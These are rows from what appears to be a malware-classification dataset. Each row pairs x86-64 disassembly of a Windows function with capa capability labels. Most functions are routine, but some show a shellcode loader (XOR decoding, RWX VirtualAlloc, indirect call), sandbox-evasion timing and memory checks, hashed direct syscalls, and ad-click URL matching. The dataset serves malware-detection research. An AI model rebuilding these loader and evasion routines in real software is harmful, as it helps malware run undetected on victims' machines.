joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400038e0
Capabilities:
Encode data using xor

Disassembly:
test rcx, rcx
je 0x140003ac1
push rbp
push rbx
push rdi
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140017010]
xor rax, rsp
mov qword [rbp - 0x18], rax
mov rdi, rcx
mov qword [rsp + 0xa0], rsi
mov rcx, qword [0x1400180a0]
xor esi, esi
mov qword [rbp - 0x40], rsi
mov rbx, rdx
mov qword [rbp - 0x48], rsi
lea rdx, [rbp - 0x40]
mov rax, qword [rcx]
call qword [rax + 0xa8]
mov rax, qword [rdi]
lea r9, [rbp - 0x48]
mov r8, qword [rbp - 0x40]
lea edx, [rsi + 2]
mov rcx, rdi
call qword [rax + 0x30]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
jne 0x14000395c
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140003aa6
jmp 0x140003aa0
mov dword [rbp - 0x20], esi
lea rdx, [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x18]
mov edi, esi
cmp dword [rbp - 0x20], esi
jle 0x140003a92
mov qword [rsp + 0x68], r14
lea r14, [0x140017078]
mov qword [rsp + 0x60], r15
lea r15, [0x140018020]
nop dword [rax]
mov rcx, qword [rbp - 0x48]
lea r8, [rbp - 0x50]
mov qword [rbp - 0x50], rsi
mov edx, edi
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140003a7d
mov rax, qword [rcx]
lea r8, [rbp - 0x38]
mov edx, 0x755d
call qword [rax + 0x50]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.OLEAUT32.dll_VariantInit]
test eax, eax
je 0x140003a71
movsxd r10, dword [0x1400180b0]
mov rcx, r14
mov r9d, 0x1c
mov rdx, qword [r15 + r10*8]
inc r10d
mov r8, rdx
nop dword [rax]
movzx eax, byte [rcx]
lea r8, [r8 + 2]
xor al, 0xde
lea rcx, [rcx + 1]
movzx eax, al
mov word [r8 - 2], ax
sub r9, 1
jne 0x1400039f0
cmp r10d, 0xf
mov word [rdx + 0x38], si
mov rcx, qword [rbp - 0x30]
cmovge r10d, esi
mov dword [0x1400180b0], r10d
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x140003a43
mov rcx, qword [rbp - 0x30]
lea rdx, str.https:__www.googleadservices.com_pagead_aclk_
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x140003a67
mov rdx, qword [rbx + 8]
cmp rdx, qword [rbx + 0x10]
je 0x140003a5b
mov rax, qword [rbp - 0x50]
mov qword [rdx], rax
add qword [rbx + 8], 8
jmp 0x140003a67
lea r8, [rbp - 0x50]
mov rcx, rbx
call fcn.140006db0
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp - 0x50]
mov rdx, rbx
call fcn.1400038e0
inc edi
cmp edi, dword [rbp - 0x20]
jl 0x140003990
mov r15, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov rcx, qword [rbp - 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rbp - 0x18]
xor rcx, rsp
call fcn.14000f090
add rsp, 0x70
pop rdi
pop rbx
pop rbp
ret
Function at 0x140004ee0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x70
mov rax, qword [0x140017010]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor ecx, ecx
mov eax, 1
cpuid
test ecx, ecx
js 0x1400050ef
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
lea r14, [0x140018020]
xor eax, eax
lea rdi, [0x140018098]
movups xmmword [0x140018020], xmm0
mov qword [0x140018050], rax
mov rbx, r14
movups xmmword [0x140018030], xmm0
mov dword [0x140018058], eax
movups xmmword [0x140018040], xmm0
nop
mov edx, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rbx], rax
add rbx, 8
cmp rbx, rdi
jl 0x140004f60
call fcn.1400016c0
movsxd r10, dword [0x1400180b0]
lea r9, [0x140017068]
mov edi, 0xe
mov ebx, edi
mov r8, qword [r14 + r10*8]
inc r10d
sub r9, r8
mov rcx, r8
movzx eax, byte [r9 + rcx]
lea rcx, [rcx + 1]
xor al, 0xde
mov byte [rcx - 1], al
sub rbx, 1
jne 0x140004fa0
xor ebp, ebp
mov byte [r8 + 0xe], bl
cmp r10d, 0xf
lea edx, [rbx + 1]
cmovge r10d, ebp
xor ecx, ecx
mov dword [0x1400180b0], r10d
call qword [0x1400180b8]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400050ef
call fcn.1400019a0
test al, al
jne 0x140005022
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rcx, rax
mov qword [0x140018018], rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140005022
call fcn.1400019a0
test al, al
je 0x140004ff0
call fcn.140004a70
call fcn.1400043d0
xor r9d, r9d
lea rcx, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x140005070
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
lea rcx, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x140005043
cmp qword [0x140018098], rbp
je 0x1400050e9
movsxd r9, dword [0x1400180b0]
lea r8, [0x140017348]
mov rdx, qword [r14 + r9*8]
inc r9d
sub r8, rdx
mov rbx, rdx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rbx]
lea rbx, [rbx + 1]
xor al, 0xde
mov byte [rbx - 1], al
sub rdi, 1
jne 0x1400050a0
mov rcx, qword [0x1400180d8]
cmp r9d, 0xf
mov byte [rdx + 0xe], bpl
cmovge r9d, ebp
mov dword [0x1400180b0], r9d
call fcn.140001610
mov rcx, qword [0x140018098]
mov qword [0x140017ff8], rax
call rax
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rsp + 0x40]
jmp 0x1400050f1
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14000f090
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
Function at 0x140005530
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x140005567
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x140005588
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000558a
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400055e3
test ecx, ecx
jle 0x1400055c3
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
sub rbx, rbp
add r14, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400055e3
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400055e3
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140005610
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140005632
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140005648
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140005664
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140005666
xor ecx, ecx
mov qword [rsp + 0x20], rdi
movsxd rax, ecx
test ecx, ecx
je 0x1400056a0
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
sub rbx, rdi
add r14, rdi
mov r8, rbx
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140005747
mov r9, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r9], rax
jne 0x1400056db
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140005721
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x140005760
cmp rbx, rax
ja 0x1400056f0
mov r8, rdi
test rdi, rdi
je 0x140005747
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r8, rdi
sub r8, rax
sub rbp, r8
mov rdi, qword [rsp + 0x20]
mov rax, rbp
mov rbx, qword [rsp + 0x28]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rbp, rbx
jmp 0x14000574a
Function at 0x140005b60
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140017010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140005b8d
xor eax, eax
jmp 0x140005ce2
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x140005bb8
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x140005bb8
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140005ce2
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140005cd5
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x140005bfb
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140005c26
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140005cda
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005c95
sub eax, 1
je 0x140005c95
cmp eax, 2
jne 0x140005cd5
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140005cda
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140005cc3
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140005cd5
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x140005cda
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000f090
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400064b0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140017010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140006583
cmp byte [rcx + 0x71], 0
je 0x140006583
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000657f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140006544
sub eax, 1
je 0x140006548
cmp eax, 2
jne 0x14000657f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000f090
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140006576
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000657f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000652c
xor al, al
jmp 0x14000652c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000f090
add rsp, 0x60
pop rbx
ret
Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140013220
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011276
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
jmp 0x140011b40
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x278]
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x228], rax
lea rcx, [0x1400230f3]
call fcn.14001138e
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x30], 0x40
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x140011bde
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0xa8], 0
mov rax, qword [rbp + 0xa8]
cmp qword [rbp + 0x88], rax
jae 0x140011bdc
mov eax, 1
jmp 0x140011c79
jmp 0x140011be8
mov eax, 1
jmp 0x140011c79
lea rcx, [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 0x154], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 0x114], eax
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 0x134], eax
mov edx, dword [rbp + 0x114]
lea rcx, [0x14001b22c]
call fcn.14001119f
mov edx, dword [rbp + 0x134]
lea rcx, [0x14001b22c]
call fcn.14001119f
mov eax, dword [rbp + 0x114]
add eax, 0x1f0e
cmp dword [rbp + 0x134], eax
jb 0x140011c73
mov eax, dword [rbp + 0x114]
add eax, 0x1f54
cmp dword [rbp + 0x134], eax
ja 0x140011c73
call fcn.1400113d4
jmp 0x140011c77
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ad90]
call fcn.140011316
mov rax, rdi
mov rcx, qword [rbp + 0x228]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret
Function at 0x140011280
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014570
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014590
xor al, al
jmp 0x140014611
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400145a3
xor al, al
jmp 0x140014611
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400145cd
xor al, al
jmp 0x140014611
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400145e1
xor al, al
jmp 0x140014611
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400145f3
xor al, al
jmp 0x140014611
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001460f
xor al, al
jmp 0x140014611
mov al, 1
add rsp, 0x38
ret
Function at 0x1400113d4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140011880
push rbp
push rsi
push rdi
sub rsp, 0x6e0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x120
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x6b8], rax
lea rcx, [0x1400230f3]
call fcn.14001138e
lea rax, [rbp + 0x10]
lea rcx, [0x14001add0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x3a2
rep movsb byte [rdi], byte [rsi]
mov byte [rbp + 0x3d8], 0x61
mov byte [rbp + 0x3d9], 0x63
mov byte [rbp + 0x3da], 0x74
mov byte [rbp + 0x3db], 0x69
mov byte [rbp + 0x3dc], 0x76
mov byte [rbp + 0x3dd], 0x65
mov byte [rbp + 0x3de], 0x6d
mov byte [rbp + 0x3df], 0x71
mov byte [rbp + 0x3e0], 0
mov dword [rbp + 0x404], 8
mov dword [rbp + 0x424], 0
mov dword [rbp + 0x444], 0
jmp 0x140011943
mov eax, dword [rbp + 0x444]
inc eax
mov dword [rbp + 0x444], eax
movsxd rax, dword [rbp + 0x444]
cmp rax, 0x3a2
jae 0x1400119a2
movsxd rax, dword [rbp + 0x444]
movzx eax, byte [rbp + rax + 0x10]
movsxd rcx, dword [rbp + 0x424]
movzx ecx, byte [rbp + rcx + 0x3d8]
xor eax, ecx
movsxd rcx, dword [rbp + 0x444]
mov byte [rbp + rcx + 0x10], al
mov eax, dword [rbp + 0x424]
inc eax
mov dword [rbp + 0x424], eax
mov eax, dword [rbp + 0x404]
cmp dword [rbp + 0x424], eax
jne 0x1400119a0
mov dword [rbp + 0x424], 0
jmp 0x140011935
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x3a2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x468], rax
mov r8d, 0x3a2
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x468]
call fcn.1400111bd
call qword [rbp + 0x468]
lea rcx, [rbp - 0x20]
lea rdx, [0x14001acc0]
call fcn.140011316
mov rcx, qword [rbp + 0x6b8]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x6c0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140015177
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14008d150]
jne 0x1400083ea
rol rcx, 0x10
test cx, 0xffff
jne 0x1400083e6
repz ret
ror rcx, 0x10
jmp 0x1400150d0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14008ee90]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14008ef88]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140015155
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14008ee90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140015177
mov rax, qword [rsp + 0x88]
mov qword [0x14008ef88], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14008ef28], rax
mov rax, qword [0x14008ef88]
mov qword [0x14008ee00], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14008ef10], rax
mov dword [0x14008edf0], 0xc0000409
mov dword [0x14008edf4], 1
mov rax, qword [0x14008d150]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14008d158]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14008ee88], eax
mov ecx, 1
call fcn.140017a20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14007a688]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14008ee88], 0
jne 0x1400151fe
mov ecx, 1
call fcn.140017a20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001450
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x595031b
call fcn.1400027c0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001490
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xa22b2d
call fcn.1400027c0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400014d0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xc23bfcbc
call fcn.1400027c0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001510
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x8ad68d24
call fcn.1400027c0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001550
Capabilities:
Execute syscall

Disassembly:
push rcx
push rdx
push r8
push r9
mov ecx, 0x39ab3f25
call fcn.1400027c0
pop r9
pop r8
pop rdx
pop rcx
mov r10, rcx
syscall
ret

Function at 0x14000156c
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x1270fc
call fcn.1400027c0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001870
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002690
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002690
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140002330
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005850]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002350
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002358
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002350
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400023a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002350
add rax, 0x28
cmp rax, r9
jne 0x140002390
xor eax, eax
ret

Function at 0x1400023b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005850]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400023cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400023d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400023cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002470
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005850]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000248f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002498
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
